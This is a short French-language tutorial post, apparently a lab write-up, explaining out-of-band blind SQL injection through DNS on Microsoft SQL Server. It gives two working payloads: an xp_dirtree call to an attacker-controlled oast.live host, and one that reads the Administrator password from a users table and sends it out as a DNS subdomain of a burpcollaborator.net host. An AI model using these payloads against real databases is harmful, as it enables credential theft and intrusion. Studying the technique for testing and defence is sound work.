Exploiting blind SQL injection using out-of-band (OAST) techniques

Auteur: Brouettelover 2024-01-21 16:02:32
Categories: > > Tags:

Description

Une application peut être vulnérable de la même façon que dans le précédent article mais exécuter les requêtes de manière asynchrone ce qui empêche de visualiser directement le time delay comme précédemment. La requête utilisateur étant sur un autre thread que la requête SQL.

Pour pouvoir exploiter ce type d’injection, il faut jouer avec des interractions à l’extérieur de l’environnement de la cible vers un systême que l’on contrôle. Ces interactions peuvent être déclenchées sur la base d’une condition injectée afin de déduire des informations une par une. Plus utile encore, les données peuvent être exfiltrées directement au sein de l’interaction réseau.

Divers protocoles de réseau peuvent être utilisés à cette fin, mais le plus efficace est généralement le DNS (service de noms de domaine). De nombreux réseaux de production autorisent la libre circulation des requêtes DNS, car elles sont essentielles au fonctionnement normal des systèmes de production.

Pour cela j’utilise une application open source : https://github.com/projectdiscovery/interactsh#usage qui me permet de généré un “site” qui m’affiche un message à chaque fois qu’un client ouvre la page.

Un exemple d’injection SQL avec cette technique :

'; exec master..xp_dirtree '/ckujuhv2c2mg0r8vbacg3sbwco76op619.oast.live'--

NB : Je n’ai pas pu test l’utilisation de l’injection dans un labo car le labo bloque la sortie vers mon domaine.

Voici un exemple pour exfiltrer des données d’une base de données :

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

ce qui a pour effet d’envoyer sous la forme d’une requête DNS vers mon site.
URL : motdepasse.fjkdlsmjfmleznfkzjfk.nomdedomaine.net

Cette technique est la plu recommandée même si une BLIND injection est possible car elle a beaucoup plus de chances de données des résultats probants.